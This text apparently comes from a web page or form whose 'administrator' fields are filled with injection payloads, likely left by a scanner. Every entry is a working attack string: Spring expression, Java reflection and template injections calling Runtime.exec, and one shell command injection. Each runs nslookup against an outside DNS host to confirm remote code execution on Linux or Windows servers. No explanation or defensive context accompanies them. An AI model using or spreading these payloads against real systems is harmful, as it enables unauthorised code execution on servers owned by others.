1 (管理员)

T(java.lang.Runtime).getRuntime().exec("bash -c 'nslookup rihana2q$((8207*4943)).dnsquery.0x557.wang'")+T(java.lang.Runtime).getRuntime().exec("cmd /c nslookup rihana2q%CMDEXTVERSION%.dnsquery.0x557.wang")

1 (管理员)

${''.getClass().forName('java.lang.Runtime').getMethod('exec',''.getClass()).invoke(''.getClass().forName('java.lang.Runtime').getMethod('getRuntime').invoke(null),'bash -c \'nslookup end65gte$((4003*7394)).dnsquery.0x557.wang\'')}${''.getClass().forName('java.lang.Runtime').getMethod('exec',''.getClass()).invoke(''.getClass().forName('java.lang.Runtime').getMethod('getRuntime').invoke(null),'cmd /c nslookup end65gte%CMDEXTVERSION%.dnsquery.0x557.wang')}

1 (管理员)

${T(java.lang.Runtime).getRuntime().exec("bash -c 'nslookup psouqk3u$((1426*3374)).dnsquery.0x557.wang'")}+${T(java.lang.Runtime).getRuntime().exec("cmd /c nslookup psouqk3u%CMDEXTVERSION%.dnsquery.0x557.wang")}

1 (管理员)

__${T(java.lang.Runtime).getRuntime().exec("bash -c 'nslookup psouqk3u$((1426*3374)).dnsquery.0x557.wang'")}__::__${T(java.lang.Runtime).getRuntime().exec("cmd /c nslookup psouqk3u%CMDEXTVERSION%.dnsquery.0x557.wang")}__::..

1 (管理员)

;nslookup zu85i6nv$((2178*7439)).dnsquery.0x557.wang | nslookup zu85i6nv%CMDEXTVERSION%.dnsquery.0x557.wang ; #